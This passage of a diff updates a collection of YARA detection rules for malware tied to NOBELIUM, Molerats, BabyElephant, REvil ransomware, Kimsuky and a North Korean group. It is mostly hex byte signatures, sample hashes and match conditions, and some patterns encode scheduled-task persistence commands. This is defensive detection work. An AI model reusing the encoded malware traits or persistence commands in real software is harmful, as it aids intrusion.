ARKBIRD_SOLG_MAL_Boombox_May_2021_1 : FILE +rule ARKBIRD_SOLG_APT_Babyelephant_Installer_Feb_2021_1 : FILE { meta: - description = "Detect BoomBox malware" + description = "Detect Installer from BabyElephant APT" author = "Arkbird_SOLG" - id = "b2629c5b-1fb0-5ea1-8661-faf8f1d6b578" - date = "2021-05-28" - modified = "2021-06-05" + id = "c89a127d-af49-597e-927d-c9a10c90fabe" + date = "2021-02-23" + modified = "2021-02-23" + reference = "https://twitter.com/h2jazi/status/1363683531067715584" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-23/BabyElephant/APT_BabyElephant_Installer_Feb_2021_1.yar#L1-L21" + license_url = "N/A" + logic_hash = "7c4f2cd7e56426e42141b1f2f3a13e1daa01b1de1fe88f4bd135601234407ec9" + score = 50 + quality = 73 + tags = "FILE" + level = "experimental" + hash1 = "d55ff954abb04ec29745f7d80ea7457a862c8025a21e889f1ba44c32ba486a7e" + + strings: + $s1 = { 65 63 68 6f 20 25 64 20 3e 20 63 3a 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c } + $s2 = "COMSPEC" fullword ascii + $s3 = { 53 43 48 54 41 53 4b 53 20 2f 43 52 45 41 54 45 20 2f 53 43 20 4d 49 4e 55 54 45 20 2f 4d 4f 20 [1-3] 20 2f 54 4e 20 22 [1-12] 22 20 2f 54 52 20 22 [4-24] 22 20 2f 66 } + $s4 = "%s//%s" fullword ascii + $s5 = { 53 63 68 74 61 73 6b 73 20 2f 64 65 6c 65 74 65 20 2f 54 4e 20 22 [1-12] 22 20 2f 66 } + $s6 = { 83 c4 10 8b d8 e8 13 02 00 00 83 fb ff 74 06 89 38 8b f3 eb 34 83 38 02 74 0f e8 fe 01 00 00 83 38 0d 74 05 83 ce ff eb 20 e8 ef 01 00 00 89 38 56 8d 45 ec b9 c4 3e 42 00 50 51 56 89 4d ec } + $s7 = { 68 00 08 00 00 8d 85 48 f6 ff ff 6a 00 50 e8 00 33 00 00 83 c4 0c 8d 85 48 f6 ff ff 6a 00 68 00 08 00 00 50 53 ff d6 85 c0 0f 8e 1f 03 00 00 0f 1f 40 00 6a 08 68 e0 b3 42 00 8d 8d 28 ec ff ff c7 85 38 ec ff ff 00 00 00 00 c7 85 3c ec ff ff 0f 00 00 00 c6 85 28 ec ff ff 00 e8 a3 09 00 00 8d 95 28 ec ff ff c7 45 fc 00 00 00 00 8d 8d 10 ec ff ff e8 2b 05 00 00 83 } + + condition: + uint16( 0 ) == 0x5a4d and filesize > 80KB and all of them +} +rule ARKBIRD_SOLG_APT_Molerats_Feb_2021_1 : FILE +{ + meta: + description = "Detect Molerats implants" + author = "Arkbird_SOLG" + id = "8ede3aa9-9788-52a5-91a7-bb160daad5ba" + date = "2021-02-27" + modified = "2021-03-01" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_BoomBox_May_2021_1.yara#L1-L18" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-28/Molerats/APT_Molerats_Feb_2021_1.yar#L1-L23" license_url = "N/A" - logic_hash = "b88848ead9c992392c99e88a25541b72d825fbd32c3eb83fefc18e7cfbd08cc8" + logic_hash = "fbd98f088019434f736107dfe62a307e2c57d0288d68f3133a13de59bf318aea" score = 75 quality = 75 tags = "FILE" - hash1 = "0acb884f2f4cfa75b726cb8290b20328c8ddbcd49f95a1d761b7d131b95bafec" - hash2 = "8199f309478e8ed3f03f75e7574a3e9bce09b4423bd7eb08bb5bff03af2b7c27" - tlp = "White" - adversary = "NOBELIUM" + hash1 = "0a55551ade55705d4be6e946ab58a26d7cf8087558894af8799931b09d38f3bc" + hash2 = "c9d7b5d06cd8ab1a01bf0c5bf41ef2a388e41b4c66b1728494f86ed255a95d48" strings: - $s1 = { 13 30 06 00 90 01 00 00 07 00 00 11 1f 1a 28 53 00 00 0a 25 72 bc 05 00 70 28 1e 00 00 0a 0a 06 28 54 00 00 0a 2d 07 06 28 55 00 00 0a 26 72 ea 05 00 70 28 1e 00 00 0a 0b 07 28 54 00 00 0a 2d 22 07 28 55 00 00 0a 26 07 72 12 06 00 70 28 1e 00 00 0a 0b 07 28 54 00 00 0a 2d 07 07 28 55 00 00 0a 26 73 08 00 00 06 25 7e 08 00 00 04 72 1c 06 00 70 6f 06 00 00 06 0c 08 2c 46 08 8e 69 1f 11 59 8d 2b 00 00 01 13 04 08 1f 0a 11 04 16 11 04 8e 69 28 56 00 00 0a 73 05 00 00 06 11 04 7e 09 00 00 04 7e 0a 00 00 04 6f 03 00 00 06 13 05 06 72 3c 06 00 70 28 1e 00 00 0a 11 05 28 57 00 00 0a 06 72 3c 06 00 70 28 1e 00 00 0a 28 58 00 00 0a 2c 46 7e 59 00 00 0a 72 64 06 00 70 17 6f 5a 00 00 0a 13 06 11 06 72 c0 06 00 70 6f 5b 00 00 0a 2d 26 11 06 72 c0 06 00 70 72 e8 06 00 70 06 72 3c 06 00 70 28 1e 00 00 0a 72 12 07 00 70 28 5c 00 00 0a 6f 5d 00 00 0a 7e 08 00 00 04 72 38 07 00 70 6f 06 00 00 06 0d 09 2c 46 09 8e 69 1f 11 59 8d 2b 00 00 01 13 07 09 1f 0a 11 07 16 11 07 8e 69 28 56 00 00 0a 73 05 00 00 06 11 07 7e 09 00 00 04 7e 0a 00 00 04 6f 03 00 00 06 13 08 07 72 58 07 00 70 28 1e 00 00 0a 11 08 28 57 00 00 0a 06 72 3c 06 00 70 28 1e 00 00 0a 28 58 00 00 0a 2c 16 72 84 07 00 70 06 72 9e 07 00 70 28 1e 00 00 0a 28 5e 00 00 0a 26 2a } - $s2 = { 13 30 05 00 11 01 00 00 05 00 00 11 02 7b 02 00 00 04 72 0b 03 00 70 28 1e 00 00 0a 28 30 00 00 0a 74 2d 00 00 01 25 20 c0 d4 01 00 6f 31 00 00 0a 25 72 86 01 00 70 6f 32 00 00 0a 25 72 98 01 00 70 6f 34 00 00 0a 25 6f 35 00 00 0a 72 71 02 00 70 72 8d 02 00 70 03 28 1e 00 00 0a 6f 36 00 00 0a 25 72 2b 03 00 70 6f 3f 00 00 0a 72 9d 02 00 70 04 72 5d 03 00 70 28 37 00 00 0a 0a 25 6f 35 00 00 0a 72 bb 02 00 70 06 6f 38 00 00 0a 25 6f 40 00 00 0a 05 16 05 8e 69 6f 2e 00 00 0a 6f 39 00 00 0a 74 1a 00 00 01 0b 07 6f 3a 00 00 0a 20 c8 00 00 00 33 64 07 6f 3e 00 00 0a 73 41 00 00 0a 6f 42 00 00 0a 0c 02 7b 06 00 00 04 08 6f 43 00 00 0a 6f 44 00 00 0a 17 6f 45 00 00 0a 6f 46 00 00 0a 72 02 04 00 70 28 47 00 00 0a 2c 29 02 7b 03 00 00 04 08 6f 43 00 00 0a 26 02 7b 04 00 00 04 08 6f 43 00 00 0a 26 02 7b 05 00 00 04 08 6f 43 00 00 0a 26 17 2a 16 2a 16 2a } - $s3 = { 13 30 04 00 6d 01 00 00 0a 00 00 11 72 f2 07 00 70 28 54 00 00 0a 39 5d 01 00 00 72 [2] 00 70 72 f2 07 00 70 28 5e 00 00 0a 26 1f 1a 28 53 00 00 0a 72 ?? 08 00 70 28 1e 00 00 0a 28 58 00 00 0a 3a 32 01 00 00 1f 0a 8d 2b 00 00 01 25 d0 0c 00 00 04 28 67 00 00 0a 0a 1d 8d 2b 00 00 01 25 d0 0b 00 00 04 28 67 00 00 0a 0b 28 4b 00 00 0a 6f 4c 00 00 0a 28 0c 00 00 06 26 72 d5 00 00 70 28 49 00 00 0a 6f 4a 00 00 0a 28 0c 00 00 06 0c 73 0a 00 00 06 6f 09 00 00 06 0d 09 2c 56 28 68 00 00 0a 09 6f 61 00 00 0a 13 05 73 05 00 00 06 11 05 7e 09 00 00 04 7e 0a 00 00 04 6f 04 00 00 06 13 06 06 11 06 28 0d 00 00 06 13 07 11 07 07 28 0d 00 00 06 13 07 73 08 00 00 06 7e 08 00 00 04 72 ?? 08 00 70 08 28 10 00 00 0a 11 07 6f 07 00 00 06 26 28 0b 00 00 06 28 4b 00 00 0a 6f 4c 00 00 0a 13 04 11 04 72 d5 00 00 70 28 69 00 00 0a 2c 65 73 02 00 00 06 11 04 6f 01 00 00 06 13 08 11 08 2c 53 73 05 00 00 06 28 68 00 00 0a 11 08 6f 61 00 00 0a 7e 09 00 00 04 7e 0a 00 00 04 6f 04 00 00 06 13 09 06 11 09 28 0d 00 00 06 13 0a 11 0a 07 28 0d 00 00 06 13 0a 73 08 00 00 06 7e 08 00 00 04 72 ?? 08 00 70 08 28 10 00 00 0a 11 0a 6f 07 00 00 06 26 2a } - $s4 = { 1b 30 05 00 b5 00 00 00 06 00 00 11 72 76 05 00 70 72 d5 00 00 70 28 49 00 00 0a 6f 4a 00 00 0a 28 10 00 00 0a 0a 72 84 05 00 70 28 4b 00 00 0a 6f 4c 00 00 0a 28 10 00 00 0a 0b 72 90 05 00 70 0c 28 4d 00 00 0a 28 49 00 00 0a 6f 4e 00 00 0a 13 04 16 13 05 2b 2a 11 04 11 05 9a 13 06 11 06 6f 4f 00 00 0a 18 33 13 08 11 06 6f 50 00 00 0a 72 98 05 00 70 28 37 00 00 0a 0c 11 05 17 58 13 05 11 05 11 04 8e 69 32 ce 28 51 00 00 0a 6f 52 00 00 0a 0d 72 9c 05 00 70 1a 8d 10 00 00 01 25 16 06 a2 25 17 07 a2 25 18 08 a2 25 19 09 a2 28 1d 00 00 0a 13 07 de 06 26 14 13 07 de 00 11 07 2a 00 00 00 01 10 00 00 00 00 00 00 ac ac 00 06 10 00 00 01 } + $seq1 = { 55 8b ec 81 c4 60 fc ff ff 53 33 d2 89 95 60 fc ff ff 89 45 fc 33 c0 55 68 [1-3] 00 64 ff 30 64 89 20 8b 45 fc 83 78 44 00 0f 85 5d 01 00 00 b2 01 a1 [2] 44 00 e8 [3] ff 8b 55 fc 89 42 44 8b 45 fc 83 c0 48 e8 [3] ff 8d 85 ec fe ff ff 50 6a 40 e8 [3] ff 48 85 c0 0f 8c 18 01 00 00 40 89 45 f0 8d 85 ec fe ff ff 89 45 ec 8b 45 ec 8b 00 e8 35 ?? f5 ff 84 c0 0f 84 ec 00 00 00 8d 45 f4 50 68 19 00 02 00 6a 00 6a 00 8b 45 ec 0f b7 00 89 85 64 fc ff ff c6 85 68 fc ff ff 00 8d 8d 64 fc ff ff ba [3] 00 8d 85 6c fc ff ff e8 [3] ff 50 68 02 00 00 80 e8 [3] ff 85 c0 0f 85 a3 00 00 00 33 c0 55 68 [3] 00 64 ff 30 64 89 20 c7 45 f8 00 02 00 00 8d 45 f8 50 8d 85 ec fc ff ff 50 6a 00 6a 00 68 [3] 00 8b 45 f4 50 e8 [3] ff 85 c0 75 4f 8d 85 60 fc ff ff 8d 95 ec fc ff ff b9 00 01 00 00 e8 [3] ff 8b 95 60 fc ff ff 8b 45 ec 8b 08 8b 45 fc 8b 40 44 8b 18 ff 53 40 8b 45 ec 8b 00 8b 55 fc 3b 42 4c 75 16 8b 45 fc 83 c0 48 8d 95 ec fc ff ff b9 00 01 00 00 e8 [3] ff 33 c0 5a 59 59 64 89 10 68 [3] 00 8b 45 f4 50 e8 [3] ff } + $seq2 = { 55 8b ec 81 c4 e4 fd ff ff 53 8b da 89 45 fc 8b 45 fc e8 [2] ff ff 33 c0 55 68 [2] 40 00 64 ff 30 64 89 20 83 7d fc 00 75 15 68 05 01 00 00 8d 85 e6 fd ff ff 50 6a 00 e8 [2] ff ff eb 1a 8b 45 fc e8 [2] ff ff 8b c8 8d 85 e6 fd ff ff ba 05 01 00 00 e8 da f7 ff ff 66 83 bd e6 fd ff ff 00 0f 84 a7 01 00 00 33 c0 89 45 f8 8d 45 f4 50 68 19 00 0f 00 6a 00 68 [2] 40 00 68 01 00 00 80 e8 [2] ff ff 85 c0 0f 84 9a 00 00 00 8d 45 f4 50 68 19 00 0f 00 6a 00 68 [2] 40 00 68 02 00 00 80 e8 2b 5e ff ff 85 c0 74 7c 8d 45 f4 50 68 19 00 0f 00 6a 00 68 70 f6 40 00 68 01 00 00 80 e8 0d 5e ff ff 85 c0 74 5e 8d 45 f4 50 68 19 00 0f 00 6a 00 68 70 f6 40 00 68 02 00 00 80 e8 [2] ff ff 85 c0 74 40 8d 45 f4 50 68 19 00 0f 00 6a 00 68 [2] 40 00 68 01 00 00 80 e8 [2] ff ff 85 c0 74 22 8d 45 f4 50 68 19 00 0f 00 6a 00 68 [2] 40 00 68 01 00 00 80 e8 [2] ff ff 85 c0 0f 85 e6 00 00 00 33 c0 55 68 [2] 40 00 64 ff 30 64 89 20 8d 85 e6 fd ff ff ba 05 01 00 00 e8 c9 fc ff ff 8d 45 f0 50 6a 00 6a 00 6a 00 8d 85 e6 fd ff ff 50 8b 45 f4 50 e8 [2] ff ff 85 c0 75 33 8b 45 f0 e8 [2] ff ff 89 45 f8 8d 45 f0 50 8b 45 f8 50 6a 00 6a 00 8d 85 e6 fd ff ff 50 8b 45 f4 50 e8 [2] ff ff 8b c3 8b 55 f8 e8 [2] ff ff eb 4b 8d 45 f0 50 6a 00 6a 00 6a 00 68 [2] 40 00 8b 45 f4 50 e8 [2] ff ff 85 c0 75 2f 8b 45 f0 e8 [2] ff ff 89 45 f8 8d 45 f0 50 8b 45 f8 50 6a 00 6a 00 68 [2] 40 00 8b 45 f4 50 e8 [2] ff ff 8b c3 8b 55 f8 e8 [2] ff ff 33 c0 5a 59 59 64 89 10 68 [2] 40 00 83 7d f8 00 74 08 8b 45 f8 e8 [2] ff ff 8b 45 f4 50 e8 [2] ff ff } + $seq3 = { d1 f8 79 03 83 d0 00 03 45 80 89 45 d0 8b 45 a4 8b 80 e4 02 00 00 8b 40 10 01 45 d0 8b 45 a4 8b 80 e4 02 00 00 8b 40 04 29 45 d0 8b 75 8c 2b 75 d4 83 ee 02 8b 45 a4 8b 80 e4 02 00 00 2b 70 08 8b 45 a4 8b 80 e4 02 00 00 2b 70 0c 89 75 8c 6a 00 56 8b 45 d0 50 8b 45 ec e8 [2] fb ff 50 57 8b 85 68 ff ff ff 50 e8 [2] fc ff 84 db 0f 84 0d 03 00 00 a1 [3] 00 8b 00 e8 [2] 09 00 50 8b 45 b4 50 6a 23 e8 [3] ff 89 45 d8 8b 45 d8 01 45 90 83 45 94 0f 83 45 90 05 8b 45 f0 8b 40 08 8b 50 74 } + $s1 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x" fullword wide + $s2 = { 45 00 72 00 72 00 6f 00 72 00 20 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 73 00 65 00 72 00 76 00 65 00 72 00 3a 00 20 00 25 00 73 } + $s3 = { 45 00 72 00 72 00 6f 00 72 00 20 00 6f 00 70 00 65 00 6e 00 69 00 6e 00 67 00 20 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 3a 00 20 00 28 00 25 00 64 00 29 00 20 00 25 00 73 } + $s4 = { 43 00 61 00 6e 00 6e 00 6f 00 74 00 20 00 6f 00 70 00 65 00 6e 00 20 00 66 00 69 00 6c 00 65 00 20 00 22 00 25 00 73 00 22 00 2e 00 20 00 25 00 73 } + $s5 = { 43 00 61 00 6e 00 6e 00 6f 00 74 00 20 00 6f 00 70 00 65 00 6e 00 20 00 63 00 6c 00 69 00 70 00 62 00 6f 00 61 00 72 00 64 00 3a 00 20 00 25 00 73 } condition: - uint16( 0 ) == 0x5a4d and filesize > 6KB and 3 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 500KB and 2 of ( $seq* ) and 3 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Enc_Payload_May_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_ELF_Revil_Jun_2021_1 : FILE { meta: - description = "Detect encrypted payload, must be with others APT29 rules maybe give lot fake postives due to the pdf header" + description = "Detect the ELF version of REvil ransomware" author = "Arkbird_SOLG" - id = "34da1d06-7892-59ec-8b11-c3278a7f2e34" - date = "2021-05-28" - modified = "2021-06-02" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_Enc_payload_May_2021_1.yara#L1-L17" + id = "b4b9d60e-a352-5045-8be3-e9a08d70ef6b" + date = "2021-06-28" + modified = "2021-06-29" + reference = "https://twitter.com/jaimeblascob/status/1409603887871500288" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-28/REvil/RAN_ELF_REvil_Jun_2021_1.yara#L1-L22" license_url = "N/A" - logic_hash = "484d9947d8acd32126cdc3e3f671cd3b3b048bbdb608d5573f6fcc7e4ddf13f8" - score = 50 + logic_hash = "054bdb8362fdea2dc914b11387f6c67e35932acb73ba2b133ca29f69549914ba" + score = 75 quality = 75 tags = "FILE" - hash1 = "23e20d630a8fd12600c2811d8f179f0e408dcb3e82600456db74cbf93a66e70f" - hash2 = "656384c4e5f9fe435d51edf910e7ba28b5c6d183587cf3e8f75fb2d798a01eeb" - level = "Experimental" + hash1 = "3d375d0ead2b63168de86ca2649360d9dcff75b3e0ffa2cf1e50816ec92b3b7d" + hash2 = "d6762eff16452434ac1acc127f082906cc1ae5b0ff026d0d4fe725711db47763" + hash3 = "796800face046765bd79f267c56a6c93ee2800b76d7f38ad96e5acb92599fcd4" + hash4 = "ea1872b2835128e3cb49a0bc27e4727ca33c4e6eba1e80422db19b505f965bc4" tlp = "White" - adversary = "NOBELIUM" + adversary = "RAAS" strings: - $s1 = { 25 50 44 46 2d 31 2e 33 0a 25 06 8b c4 1c c5 86 66 f3 dc 75 f9 3b dd 8c 44 e3 d3 a4 74 9d 94 4e 2e 0f d9 01 a6 f2 88 6a a8 0b 16 1b 1a fc 60 3f 72 7a 1b c1 a7 bb 2f 19 31 6d 6f 79 db 20 f6 c7 fa e7 eb b9 88 77 de 1f a1 92 d7 ea 68 a9 b7 89 17 92 e8 b2 bb a5 58 56 b4 30 60 f8 28 0c 54 7b 2b 68 ba 7e 01 01 6d ad 2e 6d 72 67 1e b0 a8 ea 42 82 bd 14 9a 86 f0 0d 9a 8b 92 76 b3 b3 7d ef 69 24 2c 9f c2 ca e9 c9 b3 } - $s2 = { 25 25 45 4f 46 0a } + $seq1 = { 55 48 89 e5 48 83 c4 80 bf 04 20 00 00 e8 69 d5 ff ff 48 89 45 f8 ?? 8b 05 [2] 31 00 [0-4] 48 8b 3d [2] 31 00 48 8b 35 [2] 31 00 48 8b 0d [2] 31 00 4c 8b 0d [2] 31 00 4c 8b [2] 13 31 00 48 8b 15 ?? 13 31 00 48 8b 45 f8 4c 89 ?? 24 18 48 89 7c 24 10 48 89 74 24 08 48 89 0c 24 ?? 89 } + $seq2 = { 48 89 e5 bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff 8b 05 [2] 20 00 89 c6 bf [2] 41 00 b8 00 00 00 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff } + $seq3 = { 48 83 ec 20 c7 45 fc 00 00 00 00 eb 64 8b 45 fc 48 8b 14 c5 48 92 61 00 48 8b 05 ?? bd 20 00 48 89 c6 bf 40 93 61 00 b8 00 00 00 00 e8 ?? 3f ff ff 8b 45 fc 48 8b 04 c5 48 92 61 00 48 89 c6 bf [2] 41 00 b8 00 00 00 00 e8 ?? 3d ff ff be [2] 41 00 bf 40 93 61 00 e8 ?? 3e ff ff 48 89 45 f0 48 8b 45 f0 48 89 c7 e8 ?? 3d ff ff 83 45 fc 01 83 7d fc 00 74 96 48 8b 05 [2] 20 00 48 89 c7 e8 ?? 3c ff ff 48 8b 05 [2] 20 00 be [2] 41 00 48 89 c7 e8 ?? 3e ff ff 48 89 45 e8 48 8b 45 e8 48 89 c7 e8 ?? 3d ff ff c9 c3 55 48 89 e5 48 83 ec 20 48 89 7d e8 48 8b 45 e8 48 89 c7 e8 ?? 3c ff ff 89 c2 8b 05 ?? d0 30 00 01 d0 83 c0 01 89 c7 e8 ?? 91 ff ff 48 89 45 f8 48 8b 55 e8 48 8b 45 f8 48 89 d6 48 89 c7 e8 ?? 3c ff ff 48 8b 45 f8 48 c7 c1 ff ff ff ff 48 89 c2 b8 00 00 00 00 48 89 d7 f2 ae 48 89 c8 48 f7 d0 48 8d 50 ff 48 8b 45 f8 48 01 d0 66 c7 00 2f 00 48 8b 15 ?? cf 30 00 48 8b 45 f8 48 89 d6 48 89 c7 e8 ?? 3e ff ff 48 8b 45 f8 be [2] 41 00 48 89 c7 e8 ?? 3e ff ff 48 89 45 f0 48 83 7d f0 00 } + $seq4 = { 48 89 e5 48 83 ec 10 c7 45 fc 58 00 00 00 8b 45 fc 48 8d 55 f0 48 89 c6 bf 00 a5 71 00 e8 [2] 00 00 48 89 05 ?? 0b 31 00 48 8d 45 f0 48 89 c2 be 20 00 00 00 bf c0 a4 71 00 e8 [2] 00 00 48 89 05 [2] 31 00 b8 00 00 00 00 e8 b7 fd ff ff 48 89 05 [2] 31 00 48 8b 05 [2] 31 00 48 85 c0 74 09 48 8b 05 [2] 31 00 eb 05 b8 [2] 41 00 48 89 05 [2] 31 00 b8 00 00 00 00 e8 80 fe ff ff 48 89 05 [2] 31 00 48 8b 05 [2] 31 00 48 85 c0 74 09 48 8b 05 [2] 31 00 eb 05 b8 [2] 41 00 48 89 05 ?? 0a 31 00 48 c7 05 ?? 0a 31 00 [2] 41 00 e8 ?? f6 ff ff e8 f1 f7 ff ff b8 01 00 00 00 } condition: - filesize > 50KB and all of ( $s* ) + uint32( 0 ) == 0x464c457f and filesize > 50KB and 3 of ( $seq* ) } -rule ARKBIRD_SOLG_MAL_Nativezone_May_2021_1 : FILE +rule ARKBIRD_SOLG_APT_MAL_NK_Rivts_Feb_2009_1 : FILE { meta: - description = "Detect NativeZone malware" + description = "Detect Rivts malware used by NK APT" author = "Arkbird_SOLG" - id = "5b858a8d-6e6a-5712-a83a-229bed1c7872" - date = "2021-05-28" - modified = "2021-06-05" + id = "71dacbd4-36bb-5a45-a288-31bfaef784dc" + date = "2020-06-17" + modified = "2020-06-18" + reference = "https://twitter.com/Arkbird_SOLG/status/1272674621381361672" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-07/NK_Rivts_Feb_2009_1.yar#L3-L22" + license_url = "N/A" + logic_hash = "aab3e8067933cbaef2725b5db9e744df2e2be0a89aaf7ce85df79c5f45d72d8f" + score = 75 + quality = 67 + tags = "FILE" + hash1 = "244885b47ec2157a8ea9278bec3ea1883f45d97b1fcb78d4fa875bef0f329a97" + + strings: + $s1 = "F:\\meWork\\ksj\\Test\\testVir-ga\\testvir_non\\Debug\\testvir_non.pdb" fullword ascii + $s2 = "\\\\.\\pipe\\TESTVIR1PIPE" fullword ascii + $s3 = "\\system32\\Hana80.exe" fullword ascii + $s4 = "\\system32\\nnr60.exe" fullword ascii + $s5 = { 54 45 53 54 56 49 52 31 5f 45 56 45 4e 54 5f 4f 42 4a } + $s6 = "INFECT" fullword ascii + $s7 = { 54 45 53 54 5f 5f 5f 41 43 43 45 53 53 5f 44 49 52 } + $s8 = { 2e 70 69 66 } + $s9 = { 2f 2f 2f 2f 44 41 45 4d 4f 4e } + + condition: + uint16( 0 ) == 0x5a4d and filesize < 100KB and 7 of them +} +rule ARKBIRD_SOLG_APT_Kimsuky_Aug_2020_1 : FILE +{ + meta: + description = "Detect Gold Dragon used by Kimsuky APT group" + author = "Arkbird_SOLG" + id = "dd79aa3b-0bbc-5fdd-808e-c2dee6d89804" + date = "2020-08-31" + modified = "2020-09-14" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_NativeZone_May_2021_1.yara#L1-L17" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-09-14/Kimsuky/APT_Kimsuky_Aug_2020_1.yar#L1-L23" license_url = "N/A" - logic_hash = "9281784100e922fe3ef64e7c112276ffa5f8691ab4f24f1b68fbb0495e449bd3" + logic_hash = "4644ea81535c867a36a882bb270cea784ae135e7acc7078823be0579b1746932" score = 75 quality = 75 tags = "FILE" - hash1 = "136f4083b67bc8dc999eb15bb83042aeb01791fc0b20b5683af6b4ddcf0bbc7d" - hash2 = "3b94cc71c325f9068105b9e7d5c9667b1de2bde85b7abc5b29ff649fd54715c4" - tlp = "White" - adversary = "NOBELIUM" + hash1 = "4ff2a67b094bcc56df1aec016191465be4e7de348360fd307d1929dc9cbab39f" + hash2 = "97935fb0b5545a44e136ee07df38e9ad4f151c81f5753de4b59a92265ac14448" strings: - $s1 = { 8b ff 55 8b ec 81 ec 1c 01 00 00 a1 00 ?? 01 10 33 c5 89 45 fc 8b 4d 0c 53 8b 5d 14 56 8b 75 08 89 b5 fc fe ff ff 89 9d f8 fe ff ff 57 8b 7d 10 89 bd 00 ff ff ff 85 f6 75 25 85 c9 74 21 e8 [2] ff ff c7 00 16 00 00 00 e8 [2] ff ff 8b 4d fc 5f 5e 33 cd 5b e8 [2] ff ff 8b e5 5d c3 85 ff 74 db 85 db 74 d7 c7 85 f4 fe ff ff 00 00 00 00 83 f9 02 72 d8 49 0f af cf 03 ce 89 8d 04 ff ff ff 8b c1 33 d2 2b c6 f7 f7 8d 78 01 83 ff 08 0f 87 dc 00 00 00 8b bd 00 ff ff ff 3b ce 0f 86 a1 00 00 00 8d 14 37 89 95 ec fe ff ff 8d 49 00 8b c6 8b f2 89 85 08 ff ff ff 3b f1 77 31 8b ff 50 56 8b cb ff 15 [2] ?? 10 ff d3 83 c4 08 85 c0 7e 0a 8b c6 89 85 08 ff ff ff eb 06 8b 85 08 ff ff ff 8b 8d 04 ff ff ff 03 f7 3b f1 76 d1 8b d1 3b c1 74 34 2b c1 8b df 89 85 08 ff ff ff 90 8a 0c 10 8d 52 01 8b b5 08 ff ff ff 8a 42 ff 88 44 16 ff 8b c6 88 4a ff 83 eb 01 75 e3 8b 9d f8 fe ff ff 8b 8d 04 ff ff ff 8b b5 fc fe ff ff 2b cf 8b 95 ec fe ff ff 89 8d 04 ff ff ff 3b } - $s2 = { 8b b5 00 ff ff ff 8b cb 8b 85 fc fe ff ff d1 ef 0f af fe 03 f8 57 50 ff 15 [3] 10 ff d3 83 c4 08 85 c0 7e 10 56 57 ff b5 fc fe ff ff e8 1b fe ff ff 83 c4 0c ff b5 04 ff ff ff 8b cb ff b5 fc fe ff ff ff 15 [3] 10 ff d3 83 c4 08 85 c0 7e 15 56 ff b5 04 ff ff ff ff b5 fc fe ff ff e8 e9 fd ff ff 83 c4 0c ff b5 04 ff ff ff 8b cb 57 ff 15 [3] 10 ff d3 83 c4 08 85 c0 7e 10 56 ff b5 04 ff ff ff 57 e8 c1 fd ff ff 83 c4 0c 8b 85 04 ff ff ff 8b d8 8b b5 fc fe ff ff 8b 95 00 ff ff ff 89 85 08 ff ff ff 8d 64 24 00 3b fe 76 37 03 f2 89 b5 f0 fe ff ff 3b f7 73 25 8b 8d f8 fe ff ff 57 56 ff 15 [3] 10 ff 95 f8 fe ff ff 8b 95 00 ff ff ff 83 c4 08 85 c0 7e d3 3b fe 77 3d 8b 85 04 ff ff ff 8b 9d f8 fe ff ff 03 f2 3b f0 77 1f 57 56 8b cb ff 15 [3] 10 ff d3 8b 95 00 ff ff ff 83 c4 08 85 c0 8b 85 04 ff ff ff 7e db 8b 9d 08 ff ff ff 89 b5 f0 fe ff ff 8b b5 f8 fe ff ff eb 06 8d 9b 00 00 00 00 8b 95 00 ff ff ff 8b c3 2b da 89 85 08 ff ff ff 3b df 76 1f 57 53 8b ce ff 15 [3] 10 ff d6 83 c4 08 85 c0 7f d9 8b 95 00 ff ff ff 8b 85 08 ff ff ff 8b b5 f0 fe ff ff 89 9d 08 ff ff ff } - $s3 = { 8b 45 f4 89 7d f8 8d 04 86 8b c8 89 45 e8 8b c7 89 4d f4 3b 45 dc 74 5b 8b d6 2b d7 89 55 e4 8b 00 8b d0 89 45 ec 8d 42 01 89 45 f0 8a 02 42 84 c0 75 f9 2b 55 f0 8d 42 01 50 ff 75 ec 89 45 f0 8b 45 e8 2b c1 03 45 fc 50 51 e8 [2] 00 00 83 c4 10 85 c0 75 72 8b 45 f8 8b 55 e4 8b 4d f4 89 0c 02 83 c0 04 03 4d f0 89 4d f4 89 45 f8 3b 45 dc 75 ac 8b 45 0c 89 5d f8 89 30 8b f3 53 e8 [2] ff ff 59 8b 45 dc 8b d7 2b c2 89 55 e4 83 c0 